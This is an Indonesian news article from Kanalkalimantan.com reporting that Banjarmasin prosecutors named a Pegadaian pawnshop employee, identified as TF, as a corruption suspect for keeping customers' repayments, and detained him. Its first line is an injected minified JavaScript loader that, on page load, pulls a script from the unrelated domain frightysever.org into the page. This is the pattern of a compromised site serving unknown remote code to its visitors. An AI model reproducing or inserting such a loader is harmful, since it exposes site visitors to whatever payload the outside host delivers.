(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Penyidik Kejaksaan Negeri (Kejari) Banjarmasin menetapkan seorang pegawai Pegadaian berinisial TF sebagai tersangka kasus dugaan tindak pidana korupsi.
Penetapan TF sebagai tersangka tersebut disampaikan oleh Kepala Kajari Banjarmasin, Dr Indah Laila melalui Kasi Intelijen, Dimas Purnama Putra, Senin (24/6/2024).
TF ditetapkan tersangka berdasarkan Surat Perintah Penyidikan Kepala Kejaksaan Negeri Banjarmasin Nomor PRIN-1989/O.3.10/Fd.2/06/2024 tanggal 20 Juni 2024 dan Surat Penetapan Tersangka Nomor PRIN-1740/O.3.19/Fd.2/06/2024.
Baca juga: Hari Anti Narkoba Internasional 2024 “Bersama Melawan Narkoba”
Diketahui TF adalah Pengelola Agunan pada kantor Pegadaian Cabang Kayu Tangi Banjarmasin. Dimana dia mengatur dan mengelola barang jaminan nasabah, dengan jabatan tersebut TF melakukan fraud berupa tahun pelunasan.
“Akibatnya terdapat kekurangan barang jaminan atas 4 Surat Bukti Gadai (SBG) yang telah diserahkan TF kepada nasabah dikarenakan nasabah tersebut telah menyerahkan uang pelunasan, namun uang pelunasan atas kredit-kredit tersebut ditahan dan tidak disetorkan TF untuk pelunasan kredit,” ujar Dimas dalam keterangan tertulis.
Baca juga: Seorang Pemuda Tenggelam di Sungai Martapura, 12 Jam Pencarian Belum Ditemukan
Setelah dilakukan pengecekan kesehatan oleh Tim Dokter, TF langsung dilakukan penahanan selama 20 hari kedepaan di Lapas Kelas IIA Teluk Dalam sebagai tahanan titipan Kejari Banjarmasin.
“Penahanan tersangka berdasarkan Surat Perintah Penahanan dengan tanggal 24 Juni 2024 di Lembaga Permasyarakatan (LP) Kelas IIA Banjarmasin,” katanya.
Baca juga: Penuhi Hak Penyandang Disablitas di Dunia Kerja, RSD Idaman Raih Penghargaan
Tersangka TF harus berhadapan dengan pasal 8 atau pasal 10 huruf a Undang-Undang RI Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-Undang RI Nomor 20 Tahun 2001, jo Undang-Undang RI Nomor 31 Tahun 1999 tentang Perubahan atas Undang-Undang RI Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.